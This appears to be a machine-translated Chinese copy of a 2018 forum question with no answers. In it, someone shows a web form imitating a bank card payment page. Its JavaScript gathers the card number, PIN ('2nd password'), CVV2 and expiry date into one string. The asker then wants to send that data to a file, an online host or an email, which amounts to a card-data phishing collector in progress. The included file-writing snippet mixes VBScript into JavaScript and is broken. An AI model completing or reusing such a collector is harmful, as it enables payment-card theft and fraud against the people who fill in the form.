将数据存储到主机

时间:2018-07-23 19:40:04

标签: javascript html

我正在使用HTML和JavaScript,但是我对使用</input>元素有疑问,这是我的输入之一:

<input size="4" class="PanInput" id="W_PAN4" name="W_PAN4" maxlength="4" autocomplete="off" onkeypress="return numericOnKeypress(event)" onkeyup="nextTabs(this, false, event)" value="" tabindex="1" dir="ltr" onpaste="doNotPaste()" onfocus="getName(this)" type="text" width="200">

在提交按钮之后,我做了alert()

<form method="post" name="receiptForm" action="https://google.com" accept-charset="UTF-8" onclick="othername">
  <script>
    function othername() {
      var input1 = document.getElementById("W_PAN4").value;
      var input2 = document.getElementById("W_PAN3").value;
      var input3 = document.getElementById("W_PAN2").value;
      var input4 = document.getElementById("W_PAN1").value;
      var userCardID = input1 + " " + input2 + " " + input3 + " " + input4;
      var input_pass = document.getElementById("W_PIN").value;
      var input_CVV2 = document.getElementById("W_CVV2").value;
      var input_expire_month = document.getElementById("W_EXPIRE1").value;
      var input_expire_year = document.getElementById("W_EXPIRE2").value;
      var input_all = userCardID + " " + "2nd_Password = " + input_pass + " " + "CVV2 = " + input_CVV2 + " " + "ExpireDateYear = " + input_expire_year + " " + "ExpireDateMonth = " + input_expire_month;
      alert(input_all);
    }

我想要具有类似的功能:

<script type="text/javascript">
  function WriteToFile(passForm) {
    set fso = CreateObject("Scripting.FileSystemObject");
    set s = fso.CreateTextFile("Location_Here", True);

    s.writeline(document.passForm.input1.value);
    s.writeline(document.passForm.input2.value);
    s.writeline(document.passForm.input3.value);
    s.Close();
  }
</script>

我的意思是我想将这些输入数据作为.txt文件存储在本地主机上,甚至存储在在线主机中。

保存这些数据的最简单方法是什么?格式并不重要,我可以处理任何电子邮件,文件等。我认为这是服务器端的工作。任何代码将不胜感激。

0 个答案:

没有答案
相关问题